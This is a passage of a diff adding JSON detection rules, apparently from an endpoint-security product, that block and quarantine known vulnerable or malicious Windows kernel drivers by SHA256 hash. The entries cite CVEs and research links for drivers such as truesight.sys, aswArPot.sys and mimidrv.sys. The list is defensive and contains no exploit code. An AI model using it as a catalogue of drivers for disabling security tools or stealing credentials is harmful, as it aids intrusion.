+  "hl_testing_start_time": "2026-03-23T11:45:31.820981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed8815b30cf785d1748b62d154bcc09075648bea72495e68be0b9b8b342fd0af",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f282c62-f551-556b-8839-18aeb7b3b1d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461324Z",
+  "creation_date": "2026-03-23T11:45:30.461328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461336Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4ee803eefdb4eaeedb3024c3516f1f9a202c77f4870d6b74356bbde32b3b560",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx64.sys) [https://www.loldrivers.io/drivers/5a03dc5a-115d-4d6f-b5b5-685f4c014a69/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f3121cf-9ac1-579d-a37e-21ab691b5c07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142707Z",
+  "creation_date": "2026-03-23T11:45:32.142709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf9859b7126c8f1546911651d0f4a506c8802451807b695854429f8b79688a37",
+  "comment": "Vulnerable IKARUS anti.virus Driver (aka ntguard.sys and ntguard_x64.sys) [https://www.greyhathacker.net/?p=995, https://www.exploit-db.com/exploits/43139] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f3ca033-702f-5d05-9889-39b20b8dcb24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621461Z",
+  "creation_date": "2026-03-23T11:45:29.621463Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c344e92a6d06155a217a9af7b4b35e6653665eec6569292e7b2e70f3a3027646",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f409154-88a5-5c90-92fe-87d19d219bca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466908Z",
+  "creation_date": "2026-03-23T11:45:30.466911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466920Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a84ad211fc549d0f118b3211cb11fd3ab2ced86de9cd20173d03e1a47834133",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f422f0d-8729-5ae4-80d9-814c54e5d56e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810716Z",
+  "creation_date": "2026-03-23T11:45:31.810718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810723Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fda127b1df8d657e35b73f61384dfeeac17bf4d20e9e733488420a14b3a2578c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f4953e8-71a4-5c34-a393-a46444428e8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606611Z",
+  "creation_date": "2026-03-23T11:45:29.606613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6dd992ad181d9a8ba8bc02542a5379375857460d8f2818ff6fc32f726aa431af",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f509653-bf7d-5150-8788-578fe22d3c5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815689Z",
+  "creation_date": "2026-03-23T11:45:30.815691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66a9052d6b1d35147f581249f6b524d8cab0b7c6ff80f621a4481f43db462540",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f51834f-e8b6-5c64-b042-54a978fb8581",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810894Z",
+  "creation_date": "2026-03-23T11:45:31.810896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810901Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c872de9c4d9b5d7f18a8789939951d691882da450b11793f59c9f4ef21fb621e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f5bb38f-d477-5f16-a333-fcdbac5f80cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621774Z",
+  "creation_date": "2026-03-23T11:45:29.621776Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621782Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5aa7a47c7abaf13453b8ab309ef16bdd80ceaf7407e67fa27932d4591f025d67",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f65c1a6-841e-557a-98d2-3ad57a62dfe0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971488Z",
+  "creation_date": "2026-03-23T11:45:29.971490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a95a70f68144980f2d684e96c79bdc93ebca1587f46afae6962478631e85d0c",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f6a52e0-c0be-527f-b9a2-764df05b0e48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969785Z",
+  "creation_date": "2026-03-23T11:45:29.969787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969792Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59e004cd839611cbc5f7c061827587dbb120d7aab8d0e44191c0c01aeed9e168",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0f85c1a6-8c8f-544a-b4d7-5db7e09943c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468318Z",
+  "creation_date": "2026-03-23T11:45:30.468322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67d4654d7e78e4d0761d8e200096935791d59acb2bf98106dafff449647c840f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fb68b29-3473-53ee-9689-96daac6b1333",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481809Z",
+  "creation_date": "2026-03-23T11:45:31.481812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a56b64d3822154749911a8189edc435f70ebedddd1da76878e7a1ce3b0a2bd15",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fb82f82-7cae-50ae-ab33-f0be416f9165",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489578Z",
+  "creation_date": "2026-03-23T11:45:31.489581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489588Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f47e8b63cbe05a0a83806501d7eecb6339c5a718f80f8f1866fa164595ca185",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fb943dc-aacd-527c-ba74-255d63204b22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610600Z",
+  "creation_date": "2026-03-23T11:45:29.610602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d57e416ea4bb855b78a2ff3c80de1dfbb5dc5ee9bfbdddb23e46bd8619287e2",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fbe90a8-9c10-5814-8b58-32945e5e707c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615417Z",
+  "creation_date": "2026-03-23T11:45:29.615419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e92baa37cd8b665ca0851f8442766aaf3b96fa61ea137d5972d5eb059389a05",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fc1ee8a-333d-5770-b7de-619bddb8fb7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827928Z",
+  "creation_date": "2026-03-23T11:45:30.827930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df5548418a899fe0b375f35e196637cb873acb374a300c865f183af388ca40c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fc556da-9f78-5d44-993e-67fe027d4fbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618237Z",
+  "creation_date": "2026-03-23T11:45:29.618239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9368e51ec98e2ad20893a5fc21e6a8b20c5bee158d5c49ca58649cff84db9d68",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fc90c00-c363-5593-ace6-7eeee1ee032e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972738Z",
+  "creation_date": "2026-03-23T11:45:29.972740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f78e06f649bc0d88770c5465d7792abeb27631ec0ce9a0fa68698b94ebf2cf49",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fcb3917-67ca-54b5-af45-e3e3c5d6457e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476436Z",
+  "creation_date": "2026-03-23T11:45:31.476440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476449Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "987249b8aad583f4de69b2371182db2d379381d175ea50b1ea0500de0394d57c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fd2871d-6f8b-5ac3-a632-c2c583adfd98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973148Z",
+  "creation_date": "2026-03-23T11:45:29.973150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86236392bb2cc77100bd83d34a30e3fb60aa727d0b11c147a838d9a205bae80e",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fd85c56-ccfe-5ebd-bbdd-e4c1623b4f29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466043Z",
+  "creation_date": "2026-03-23T11:45:30.466046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f7bfa10075bf5c193345866333d415509433dbfe5a7d45664b88d72216ff7c3",
